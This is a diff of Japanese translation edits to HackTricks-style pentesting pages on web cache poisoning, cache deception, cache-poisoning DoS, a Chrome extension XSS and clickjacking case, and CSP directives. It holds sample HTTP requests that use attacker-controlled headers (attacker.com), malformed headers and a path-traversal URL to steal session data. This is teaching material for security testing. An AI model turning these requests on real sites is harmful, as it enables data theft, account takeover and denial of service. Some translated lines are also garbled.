通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、**‘unsafe-eval’ によるCSPの緩和** と jQueryのDOM操作メソッドの使用(これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します)により、悪用は依然として可能です。
|
||||||
|
|
||||||
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
|
この脆弱性は重要ですが、その悪用は通常ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
|
||||||
|
|
||||||
この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています:
|
この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています:
|
||||||
```json
|
```json
|
||||||
@ -94,9 +94,9 @@ persistData()
|
|||||||
[...]
|
[...]
|
||||||
],
|
],
|
||||||
```
|
```
|
||||||
特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって**clickjacking**に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。
|
特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって **clickjacking** に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。
|
||||||
|
|
||||||
## References
|
## 参考文献
|
||||||
|
|
||||||
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||||
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||||||
|
@ -21,11 +21,11 @@
|
|||||||
|
|
||||||
### 発見:HTTPヘッダーを確認
|
### 発見:HTTPヘッダーを確認
|
||||||
|
|
||||||
通常、**キャッシュに保存された**応答には、**それを示すヘッダー**があります。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
通常、**キャッシュに保存された**応答には、**それを示すヘッダーが存在します**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||||
|
|
||||||
### 発見:キャッシュエラーコード
|
### 発見:キャッシュエラーコード
|
||||||
|
|
||||||
応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると、**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**応答が400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
|
応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには、**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
|
||||||
|
|
||||||
さらにオプションを見つけることができます:
|
さらにオプションを見つけることができます:
|
||||||
|
|
||||||
@ -43,20 +43,20 @@ cache-poisoning-to-dos.md
|
|||||||
```
|
```
|
||||||
### バックエンドサーバーから有害な応答を引き出す
|
### バックエンドサーバーから有害な応答を引き出す
|
||||||
|
|
||||||
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか(XSSを実行するか、あなたが制御するJSコードを読み込むか? DoSを実行するか?...)
|
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか(XSSを実行する、またはあなたが制御するJSコードを読み込む? DoSを実行する?...)
|
||||||
|
|
||||||
### 応答をキャッシュさせる
|
### 応答をキャッシュさせる
|
||||||
|
|
||||||
悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、およびそれを**悪用する方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
|
悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**悪用方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
|
||||||
|
|
||||||
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
|
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
|
||||||
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
|
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
|
||||||
|
|
||||||
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。
|
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
|
||||||
|
|
||||||
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
||||||
|
|
||||||
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
|
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
|
||||||
|
|
||||||
## 悪用の例
|
## 悪用の例
|
||||||
|
|
||||||
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
|
|||||||
|
|
||||||
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化しなかったためです。
|
[**このレポートは**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、CloudflareがURLを正規化することはなく、リクエストがウェブサーバーに到達したときに行われました。
|
||||||
|
|
||||||
これは以下でもより詳しく説明されています:
|
これは以下でもより詳しく説明されています:
|
||||||
|
|
||||||
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
|
|||||||
|
|
||||||
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
|
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
|
||||||
```markup
|
```markup
|
||||||
GET /resources/js/tracking.js HTTP/1.1
|
GET /resources/js/tracking.js HTTP/1.1
|
||||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
|||||||
```
|
```
|
||||||
### Fat Get
|
### Fat Get
|
||||||
|
|
||||||
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
|
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
|
||||||
```
|
```
|
||||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||||
Host: github.com
|
Host: github.com
|
||||||
@ -138,17 +138,17 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
|||||||
|
|
||||||
### パラメータクロッキング
|
### パラメータクロッキング
|
||||||
|
|
||||||
例えば、**パラメータ**を**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。
|
例えば、**パラメータ**を**`&`**の代わりに**`;`**文字を使用してrubyサーバーで分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。
|
||||||
|
|
||||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||||
|
|
||||||
### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用
|
### HTTPキャッシュポイズニングをHTTPリクエストスマグリングを悪用して攻撃する
|
||||||
|
|
||||||
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法について学びましょう。
|
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法についてここで学びます。
|
||||||
|
|
||||||
### Web Cache Poisoningの自動テスト
|
### Web Cache Poisoningの自動テスト
|
||||||
|
|
||||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
|
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングの自動テストを行うことができます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
|
||||||
|
|
||||||
使用例: `wcvs -u example.com`
|
使用例: `wcvs -u example.com`
|
||||||
|
|
||||||
@ -172,15 +172,15 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利
|
|||||||
|
|
||||||
### 403とストレージバケット
|
### 403とストレージバケット
|
||||||
|
|
||||||
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
|
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
|
||||||
|
|
||||||
### キー付きパラメータの注入
|
### キー付きパラメータの注入
|
||||||
|
|
||||||
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
|
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
|
||||||
|
|
||||||
### ユーザーエージェントルール
|
### ユーザーエージェントルール
|
||||||
|
|
||||||
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
|
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
|
||||||
|
|
||||||
### 不正なヘッダーフィールド
|
### 不正なヘッダーフィールド
|
||||||
|
|
||||||
@ -192,9 +192,9 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
|
|||||||
|
|
||||||
## キャッシュデセプション
|
## キャッシュデセプション
|
||||||
|
|
||||||
キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
|
キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報で読み込ませる**ことです。
|
||||||
|
|
||||||
まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**ユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
|
まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_swww.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
|
||||||
|
|
||||||
他にテストすること:
|
他にテストすること:
|
||||||
|
|
||||||
@ -203,15 +203,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
|
|||||||
- _www.example.com/profile.php/test.js_
|
- _www.example.com/profile.php/test.js_
|
||||||
- _www.example.com/profile.php/../test.js_
|
- _www.example.com/profile.php/../test.js_
|
||||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||||
- _あまり知られていない拡張子(例:_`.avif`_)を使用する_
|
- _あまり知られていない拡張子を使用する(例:`.avif`)_
|
||||||
|
|
||||||
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||||
この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
|
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
|
||||||
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
|
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察することができます。
|
||||||
|
|
||||||
**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
|
**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
|
||||||
|
|
||||||
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法について学びましょう。
|
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法についてここで学びます。
|
||||||
|
|
||||||
## 自動ツール
|
## 自動ツール
|
||||||
|
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。
|
> このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して、**ウェブサーバーがエラーで応答する**ようにするためのさまざまなバリエーションを見つけることができます。
|
||||||
|
|
||||||
- **HTTP Header Oversize (HHO)**
|
- **HTTP Header Oversize (HHO)**
|
||||||
|
|
||||||
@ -23,7 +23,7 @@ X-Meta-Hedear:Bad Chars\n \r
|
|||||||
```
|
```
|
||||||
不適切に構成されたヘッダーは、単に `\:` というヘッダーである可能性があります。
|
不適切に構成されたヘッダーは、単に `\:` というヘッダーである可能性があります。
|
||||||
|
|
||||||
予期しない値が送信される場合、例えば予期しない Content-Type: の場合もこれが機能する可能性があります。
|
予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。
|
||||||
```
|
```
|
||||||
GET /anas/repos HTTP/2
|
GET /anas/repos HTTP/2
|
||||||
Host: redacted.com
|
Host: redacted.com
|
||||||
@ -105,7 +105,7 @@ Not Found
|
|||||||
```
|
```
|
||||||
- **Fat Get**
|
- **Fat Get**
|
||||||
|
|
||||||
一部のキャッシュサーバー(Cloudflareなど)やウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。
|
一部のキャッシュサーバー、例えばCloudflareやウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。
|
||||||
```
|
```
|
||||||
GET /index.html HTTP/2
|
GET /index.html HTTP/2
|
||||||
Host: redacted.com
|
Host: redacted.com
|
||||||
|
@ -2,23 +2,23 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
これは、キャッシュポイズニング攻撃を実行するために提案された技術の概要です **キャッシュプロキシとウェブサーバー間の不一致を悪用することによって。**
|
これは、キャッシュプロキシとウェブサーバー間の不一致を悪用してキャッシュポイズニング攻撃を実行するために提案された技術の概要です **キャッシュポイズニング攻撃を実行するための技術の概要です。**
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると認識させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存しながらキャッシュしますが、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。
|
> この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると誤認させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存しながらキャッシュしますが、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。
|
||||||
|
|
||||||
## デリミタ
|
## デリミタ
|
||||||
|
|
||||||
**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングやレスポンスの処理に影響を与えます。一般的なオリジンデリミタには以下があります:
|
**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングや応答の処理に影響を与えます。一般的なオリジンデリミタには以下があります:
|
||||||
|
|
||||||
- **セミコロン**: Springでマトリックス変数に使用されます(例: `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)。
|
- **セミコロン**: Springでマトリックス変数に使用されます(例: `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)。
|
||||||
- **ドット**: Ruby on Railsでレスポンス形式を指定します(例: `/MyAccount.css` → `/MyAccount`)。
|
- **ドット**: Ruby on Railsで応答形式を指定します(例: `/MyAccount.css` → `/MyAccount`)。
|
||||||
- **ヌルバイト**: OpenLiteSpeedでパスを切り詰めます(例: `/MyAccount%00aaa` → `/MyAccount`)。
|
- **ヌルバイト**: OpenLiteSpeedでパスを切り詰めます(例: `/MyAccount%00aaa` → `/MyAccount`)。
|
||||||
- **ニューラインバイト**: NginxでURLコンポーネントを分離します(例: `/users/MyAccount%0aaaa` → `/account/MyAccount`)。
|
- **ニューラインバイト**: NginxでURLコンポーネントを分離します(例: `/users/MyAccount%0aaaa` → `/account/MyAccount`)。
|
||||||
|
|
||||||
このプロセスに従って他の特定のデリミタが見つかるかもしれません:
|
このプロセスに従って他の特定のデリミタが見つかるかもしれません:
|
||||||
|
|
||||||
- **ステップ1**: キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを持つURLがどのように処理されるかを監視します。
|
- **ステップ1**: キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを含むURLがどのように処理されるかを監視します。
|
||||||
- **ステップ2**: パスにランダムなサフィックスを追加し、サーバーの応答を比較して、文字がデリミタとして機能するかどうかを判断します。
|
- **ステップ2**: パスにランダムなサフィックスを追加し、サーバーの応答を比較して、文字がデリミタとして機能するかどうかを判断します。
|
||||||
- **ステップ3**: ランダムなサフィックスの前に潜在的なデリミタを導入し、応答が変わるかどうかを確認して、デリミタの使用を示します。
|
- **ステップ3**: ランダムなサフィックスの前に潜在的なデリミタを導入し、応答が変わるかどうかを確認して、デリミタの使用を示します。
|
||||||
|
|
||||||
@ -47,6 +47,6 @@
|
|||||||
- **よく知られた静的ディレクトリ**: 以下のディレクトリには静的ファイルが含まれているため、その応答はキャッシュされるべきです: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
- **よく知られた静的ディレクトリ**: 以下のディレクトリには静的ファイルが含まれているため、その応答はキャッシュされるべきです: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||||
- デリミタ、静的ディレクトリ、ドットを使用して動的応答をキャッシュに強制することが可能で、例えば `/home/..%2fstatic/something` は `/static/something` をキャッシュし、応答は `/home` になります。
|
- デリミタ、静的ディレクトリ、ドットを使用して動的応答をキャッシュに強制することが可能で、例えば `/home/..%2fstatic/something` は `/static/something` をキャッシュし、応答は `/home` になります。
|
||||||
- **静的ディレクトリ + ドット**: `/static/..%2Fhome` へのリクエストや `/static/..%5Chome` へのリクエストはそのままキャッシュされるかもしれませんが、応答は `/home` かもしれません。
|
- **静的ディレクトリ + ドット**: `/static/..%2Fhome` へのリクエストや `/static/..%5Chome` へのリクエストはそのままキャッシュされるかもしれませんが、応答は `/home` かもしれません。
|
||||||
- **静的ファイル**: `/robots.txt`、`/favicon.ico`、および `/index.html` のような特定のファイルは常にキャッシュされます。これは `/home/..%2Frobots.txt` のように悪用される可能性があり、キャッシュは `/robots.txt` を保存し、オリジンサーバーは `/home` に応答します。
|
- **静的ファイル**: `/robots.txt`、`/favicon.ico`、および `/index.html` のような特定のファイルは常にキャッシュされます。これらは `/home/..%2Frobots.txt` のように悪用される可能性があり、キャッシュは `/robots.txt` を保存し、オリジンサーバーは `/home` に応答します。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||||||
CSPはこれらのヘッダーを使用して強制または監視できます:
|
CSPはこれらのヘッダーを使用して強制または監視できます:
|
||||||
|
|
||||||
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
|
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
|
||||||
- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
|
- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
|
||||||
|
|
||||||
### リソースの定義
|
### リソースの定義
|
||||||
|
|
||||||
@ -37,7 +37,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||||||
media-src https://videos.cdn.mozilla.net;
|
media-src https://videos.cdn.mozilla.net;
|
||||||
object-src 'none';
|
object-src 'none';
|
||||||
```
|
```
|
||||||
### ディレクティブ
|
### 指令
|
||||||
|
|
||||||
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
|
||||||
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
|
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
|
||||||
@ -52,10 +52,10 @@ object-src 'none';
|
|||||||
- **object-src**: `<object>`、`<embed>`、および`<applet>`要素のために許可されたソースを定義します。
|
- **object-src**: `<object>`、`<embed>`、および`<applet>`要素のために許可されたソースを定義します。
|
||||||
- **base-uri**: `<base>`要素を使用して読み込むための許可されたURLを指定します。
|
- **base-uri**: `<base>`要素を使用して読み込むための許可されたURLを指定します。
|
||||||
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。
|
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。
|
||||||
